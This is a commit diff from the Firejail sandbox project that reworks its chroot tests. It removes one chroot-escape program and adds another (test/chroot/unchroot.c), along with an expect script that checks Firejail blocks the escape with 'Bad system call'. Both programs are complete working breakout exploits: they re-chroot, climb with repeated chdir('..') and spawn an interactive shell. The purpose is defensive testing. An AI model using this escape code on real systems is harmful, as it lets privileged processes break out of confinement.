summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
-rw-r--r--Makefile.in6
-rwxr-xr-xgcov.sh4
-rw-r--r--src/firejail/fs.c3
-rwxr-xr-xsrc/tools/unchrootbin9720 -> 0 bytes
-rw-r--r--src/tools/unchroot.c125
-rwxr-xr-xtest/chroot/chroot-resolvconf.exp14
-rwxr-xr-xtest/chroot/chroot.sh21
-rwxr-xr-xtest/chroot/configure46
-rwxr-xr-xtest/chroot/fs_chroot.exp26
-rwxr-xr-xtest/chroot/unchroot-as-root.exp27
-rw-r--r--test/chroot/unchroot.c40
11 files changed, 152 insertions, 160 deletions
diff --git a/Makefile.in b/Makefile.in
index d1f03c788..8251f9882 100644
--- a/Makefile.in
+++ b/Makefile.in
@@ -249,6 +249,10 @@ test: test-profiles test-fcopy test-fs test-utils test-environment test-apps te
249# with them you will need to restart your computer. 249# with them you will need to restart your computer.
250########################################## 250##########################################
251 251
252# requires root access
253test-chroot:
254 cd test/chroot; ./chroot.sh | grep testing
255
252# Huge appimage files, not included in "make dist" archive 256# Huge appimage files, not included in "make dist" archive
253test-appimage: 257test-appimage:
254 cd test/appimage; ./appimage.sh | grep TESTING 258 cd test/appimage; ./appimage.sh | grep TESTING
@@ -268,6 +272,6 @@ test-overlay:
268 272
269# For testing hidepid system, the command to set it up is "mount -o remount,rw,hidepid=2 /proc" 273# For testing hidepid system, the command to set it up is "mount -o remount,rw,hidepid=2 /proc"
270 274
271test-all: test-root test-network test-appimage test-overlay test-fcopy test 275test-all: test-root test-chroot test-network test-appimage test-overlay
272 echo "TEST COMPLETE" 276 echo "TEST COMPLETE"
273 \ No newline at end of file 277 \ No newline at end of file
diff --git a/gcov.sh b/gcov.sh
index 900b7ca41..660aad7a1 100755
--- a/gcov.sh
+++ b/gcov.sh
@@ -29,6 +29,10 @@ make test-root
29generate 29generate
30sleep 2 30sleep 2
31 31
32make test-chroot
33generate
34sleep 2
35
32make test-network 36make test-network
33generate 37generate
34sleep 2 38sleep 2
diff --git a/src/firejail/fs.c b/src/firejail/fs.c
index 5774ebf6a..8c776bad5 100644
--- a/src/firejail/fs.c
+++ b/src/firejail/fs.c
@@ -1042,6 +1042,9 @@ void fs_chroot(const char *rootdir) {
1042 if (chroot(rootdir) < 0) 1042 if (chroot(rootdir) < 0)
1043 errExit("chroot"); 1043 errExit("chroot");
1044 1044
1045 // create all other /run/firejail files and directories
1046 preproc_build_firejail_dir();
1047
1045 if (checkcfg(CFG_CHROOT_DESKTOP)) { 1048 if (checkcfg(CFG_CHROOT_DESKTOP)) {
1046 // update /var directory in order to support multiple sandboxes running on the same root directory 1049 // update /var directory in order to support multiple sandboxes running on the same root directory
1047// if (!arg_private_dev) 1050// if (!arg_private_dev)
diff --git a/src/tools/unchroot b/src/tools/unchroot
deleted file mode 100755
index d32ce2682..000000000
--- a/src/tools/unchroot
+++ /dev/null
Binary files differ
diff --git a/src/tools/unchroot.c b/src/tools/unchroot.c
deleted file mode 100644
index 21731296e..000000000
--- a/src/tools/unchroot.c
+++ /dev/null
@@ -1,125 +0,0 @@
1#include <stdio.h>
2#include <stdlib.h>
3#include <errno.h>
4#include <fcntl.h>
5#include <string.h>
6#include <unistd.h>
7#include <sys/stat.h>
8#include <sys/types.h>
9
10/*
11 ** You should set NEED_FCHDIR to 1 if the chroot() on your
12 ** system changes the working directory of the calling
13 ** process to the same directory as the process was chroot()ed
14 ** to.
15 **
16 ** It is known that you do not need to set this value if you
17 ** running on Solaris 2.7 and below.
18 **
19 */
20#define NEED_FCHDIR 0
21
22#define TEMP_DIR "waterbuffalo"
23
24/* Break out of a chroot() environment in C */
25
26int main() {
27 int x; /* Used to move up a directory tree */
28 int done=0; /* Are we done yet ? */
29#ifdef NEED_FCHDIR
30 int dir_fd; /* File descriptor to directory */
31#endif
32 struct stat sbuf; /* The stat() buffer */
33
34 /*
35 ** First we create the temporary directory if it doesn't exist
36 */
37 if (stat(TEMP_DIR,&sbuf)<0) {
38 if (errno==ENOENT) {
39 if (mkdir(TEMP_DIR,0755)<0) {
40 fprintf(stderr,"Failed to create %s - %s\n", TEMP_DIR,
41 strerror(errno));
42 exit(1);
43 }
44 }
45 else {
46 fprintf(stderr,"Failed to stat %s - %s\n", TEMP_DIR,
47 strerror(errno));
48 exit(1);
49 }
50 }
51 else if (!S_ISDIR(sbuf.st_mode)) {
52 fprintf(stderr,"Error - %s is not a directory!\n",TEMP_DIR);
53 exit(1);
54 }
55
56#ifdef NEED_FCHDIR
57 /*
58 ** Now we open the current working directory
59 **
60 ** Note: Only required if chroot() changes the calling program's
61 ** working directory to the directory given to chroot().
62 **
63 */
64 if ((dir_fd=open(".",O_RDONLY))<0) {
65 fprintf(stderr,"Failed to open \".\" for reading - %s\n",
66 strerror(errno));
67 exit(1);
68 }
69#endif
70
71 /*
72 ** Next we chroot() to the temporary directory
73 */
74 if (chroot(TEMP_DIR)<0) {
75 fprintf(stderr,"Failed to chroot to %s - %s\n",TEMP_DIR,
76 strerror(errno));
77 exit(1);
78 }
79
80#ifdef NEED_FCHDIR
81 /*
82 ** Partially break out of the chroot by doing an fchdir()
83 **
84 ** This only partially breaks out of the chroot() since whilst
85 ** our current working directory is outside of the chroot() jail,
86 ** our root directory is still within it. Thus anything which refers
87 ** to "/" will refer to files under the chroot() point.
88 **
89 ** Note: Only required if chroot() changes the calling program's
90 ** working directory to the directory given to chroot().
91 **
92 */
93 if (fchdir(dir_fd)<0) {
94 fprintf(stderr,"Failed to fchdir - %s\n",
95 strerror(errno));
96 exit(1);
97 }
98 close(dir_fd);
99#endif
100
101 /*
102 ** Completely break out of the chroot by recursing up the directory
103 ** tree and doing a chroot to the current working directory (which will
104 ** be the real "/" at that point). We just do a chdir("..") lots of
105 ** times (1024 times for luck :). If we hit the real root directory before
106 ** we have finished the loop below it doesn't matter as .. in the root
107 ** directory is the same as . in the root.
108 **
109 ** We do the final break out by doing a chroot(".") which sets the root
110 ** directory to the current working directory - at this point the real
111 ** root directory.
112 */
113 for(x=0;x<1024;x++) {
114 chdir("..");
115 }
116 chroot(".");
117
118 /*
119 ** We're finally out - so exec a shell in interactive mode
120 */
121 if (execl("/bin/sh","-i",NULL)<0) {
122 fprintf(stderr,"Failed to exec - %s\n",strerror(errno));
123 exit(1);
124 }
125}
diff --git a/test/chroot/chroot-resolvconf.exp b/test/chroot/chroot-resolvconf.exp
deleted file mode 100755
index 2d0da2fb0..000000000
--- a/test/chroot/chroot-resolvconf.exp
+++ /dev/null
@@ -1,14 +0,0 @@
1#!/usr/bin/expect -f
2
3set timeout 10
4spawn $env(SHELL)
5match_max 100000
6
7send -- "firejail --chroot=/tmp/chroot /bin/bash\r"
8expect {
9 timeout {puts "TESTING ERROR 0\n";exit}
10 "invalid /tmp/chroot/etc/resolv.conf file"
11}
12
13puts "\nall done\n"
14
diff --git a/test/chroot/chroot.sh b/test/chroot/chroot.sh
new file mode 100755
index 000000000..34bff2a67
--- /dev/null
+++ b/test/chroot/chroot.sh
@@ -0,0 +1,21 @@
1#!/bin/bash
2# This file is part of Firejail project
3# Copyright (C) 2014-2016 Firejail Authors
4# License GPL v2
5
6export MALLOC_CHECK_=3
7export MALLOC_PERTURB_=$(($RANDOM % 255 + 1))
8
9rm -f unchroot
10gcc -o unchroot unchroot.c
11sudo ./configure
12
13echo "TESTING: chroot (test/chroot/fs_chroot.exp)"
14./fs_chroot.exp
15
16echo "TESTING: unchroot as root (test/chroot/unchroot-as-root.exp)"
17sudo ./unchroot-as-root.exp
18
19
20
21rm -f unchroot
diff --git a/test/chroot/configure b/test/chroot/configure
new file mode 100755
index 000000000..ba8238803
--- /dev/null
+++ b/test/chroot/configure
@@ -0,0 +1,46 @@
1#!/bin/bash
2
3# build a very small chroot
4ROOTDIR="/tmp/chroot" # default chroot directory
5DEFAULT_FILES="/bin/bash /bin/sh " # basic chroot files
6DEFAULT_FILES+="/etc/passwd /etc/nsswitch.conf /etc/group "
7DEFAULT_FILES+=`find /lib -name libnss*` # files required by glibc
8DEFAULT_FILES+=" /bin/cp /bin/ls /bin/cat /bin/ps /bin/netstat /bin/ping /sbin/ifconfig /usr/bin/touch /bin/ip /bin/hostname /bin/grep /usr/bin/dig /usr/bin/openssl /usr/bin/id /usr/bin/getent /usr/bin/whoami /usr/bin/wc /usr/bin/wget /bin/umount"
9
10rm -fr $ROOTDIR
11mkdir -p $ROOTDIR/{root,bin,lib,lib64,usr,home,etc,dev/shm,tmp,var/run,var/tmp,var/lock,var/log,proc}
12chmod 777 $ROOTDIR/tmp
13mkdir -p $ROOTDIR/etc/firejail
14mkdir -p $ROOTDIR/home/netblue/.config/firejail
15chown netblue:netblue $ROOTDIR/home/netblue
16chown netblue:netblue $ROOTDIR/home/netblue/.config
17cp /home/netblue/.Xauthority $ROOTDIR/home/netblue/.
18cp -a /etc/skel $ROOTDIR/etc/.
19mkdir $ROOTDIR/home/someotheruser
20mkdir $ROOTDIR/boot
21mkdir $ROOTDIR/selinux
22cp /etc/passwd $ROOTDIR/etc/.
23cp /etc/group $ROOTDIR/etc/.
24cp /etc/hosts $ROOTDIR/etc/.
25cp /etc/hostname $ROOTDIR/etc/.
26mkdir -p $ROOTDIR/usr/lib/x86_64-linux-gnu
27cp -a /usr/lib/x86_64-linux-gnu/openssl-1.0.0 $ROOTDIR/usr/lib/x86_64-linux-gnu/.
28cp -a /usr/lib/ssl $ROOTDIR/usr/lib/.
29touch $ROOTDIR/var/log/syslog
30touch $ROOTDIR/var/tmp/somefile
31SORTED=`for FILE in $* $DEFAULT_FILES; do echo " $FILE "; ldd $FILE | grep -v dynamic | cut -d " " -f 3; done | sort -u`
32for FILE in $SORTED
33do
34 cp --parents $FILE $ROOTDIR
35done
36cp --parents /lib64/ld-linux-x86-64.so.2 $ROOTDIR
37cp --parents /lib/ld-linux.so.2 $ROOTDIR
38cp unchroot $ROOTDIR/.
39touch $ROOTDIR/this-is-my-chroot
40
41cd $ROOTDIR; find .
42mkdir -p usr/lib/firejail/
43cp /usr/lib/firejail/libtrace.so usr/lib/firejail/.
44
45
46echo "To enter the chroot directory run: firejail --chroot=$ROOTDIR"
diff --git a/test/chroot/fs_chroot.exp b/test/chroot/fs_chroot.exp
index aeb5669e1..295ff8ff9 100755
--- a/test/chroot/fs_chroot.exp
+++ b/test/chroot/fs_chroot.exp
@@ -20,19 +20,14 @@ expect {
20sleep 1 20sleep 1
21send -- "bash\r" 21send -- "bash\r"
22sleep 1 22sleep 1
23send -- "ls /; pwd\r" 23send -- "ls /\r"
24expect { 24expect {
25 timeout {puts "TESTING ERROR 0.2\n";exit} 25 timeout {puts "TESTING ERROR 0.2\n";exit}
26 "this-is-my-chroot" 26 "this-is-my-chroot"
27} 27}
28expect { 28after 100
29 timeout {puts "TESTING ERROR 0.3\n";exit}
30 "home"
31}
32
33 29
34 30send -- "ps aux\r"
35send -- "ps aux; pwd\r"
36expect { 31expect {
37 timeout {puts "TESTING ERROR 1\n";exit} 32 timeout {puts "TESTING ERROR 1\n";exit}
38 "/bin/bash" 33 "/bin/bash"
@@ -45,23 +40,14 @@ expect {
45 timeout {puts "TESTING ERROR 3\n";exit} 40 timeout {puts "TESTING ERROR 3\n";exit}
46 "ps aux" 41 "ps aux"
47} 42}
48expect { 43after 100
49 timeout {puts "TESTING ERROR 4\n";exit}
50 "home"
51}
52sleep 1
53 44
54 45send -- "ps aux | wc -l; pwd\r"
55send -- "ps aux |wc -l; pwd\r"
56expect { 46expect {
57 timeout {puts "TESTING ERROR 5\n";exit} 47 timeout {puts "TESTING ERROR 5\n";exit}
58 "6" 48 "6"
59} 49}
60expect { 50after 100
61 timeout {puts "TESTING ERROR 6\n";exit}
62 "home"
63}
64sleep 1
65 51
66 52
67puts "all done\n" 53puts "all done\n"
diff --git a/test/chroot/unchroot-as-root.exp b/test/chroot/unchroot-as-root.exp
new file mode 100755
index 000000000..9f8a1d784
--- /dev/null
+++ b/test/chroot/unchroot-as-root.exp
@@ -0,0 +1,27 @@
1#!/usr/bin/expect -f
2
3set timeout 10
4spawn $env(SHELL)
5match_max 100000
6
7send -- "firejail --chroot=/tmp/chroot\r"
8expect {
9 timeout {puts "TESTING ERROR 0\n";exit}
10 "Error: --chroot option is not available on Grsecurity systems" {puts "\nall done\n"; exit}
11 "Child process initialized" {puts "chroot available\n"};
12}
13sleep 1
14
15send -- "cd /\r"
16after 100
17
18
19send -- "./unchroot\r"
20expect {
21 timeout {puts "TESTING ERROR 1\n";exit}
22 "Bad system call"
23}
24after 100
25
26puts "all done\n"
27
diff --git a/test/chroot/unchroot.c b/test/chroot/unchroot.c
new file mode 100644
index 000000000..1982e07f3
--- /dev/null
+++ b/test/chroot/unchroot.c
@@ -0,0 +1,40 @@
1// simple unchroot example from http://linux-vserver.org/Secure_chroot_Barrier
2#include <unistd.h>
3#include <stdlib.h>
4#include <stdio.h>
5#include <sys/types.h>
6#include <sys/stat.h>
7
8void die(char *msg) {
9 perror(msg);
10 exit(1);
11}
12
13int main(int argc, char *argv[])
14{
15 int i;
16
17 if (chdir("/") != 0)
18 die("chdir(/)");
19
20 if (mkdir("baz", 0777) != 0)
21 ; //die("mkdir(baz)");
22
23 if (chroot("baz") != 0)
24 die("chroot(baz)");
25
26 for (i=0; i<50; i++) {
27 if (chdir("..") != 0)
28 die("chdir(..)");
29 }
30
31 if (chroot(".") != 0)
32 die("chroot(.)");
33
34 printf("Exploit seems to work. =)\n");
35
36 execl("/bin/bash", "bash", "-i", (char *)0);
37 die("exec bash");
38
39 exit(0);
40}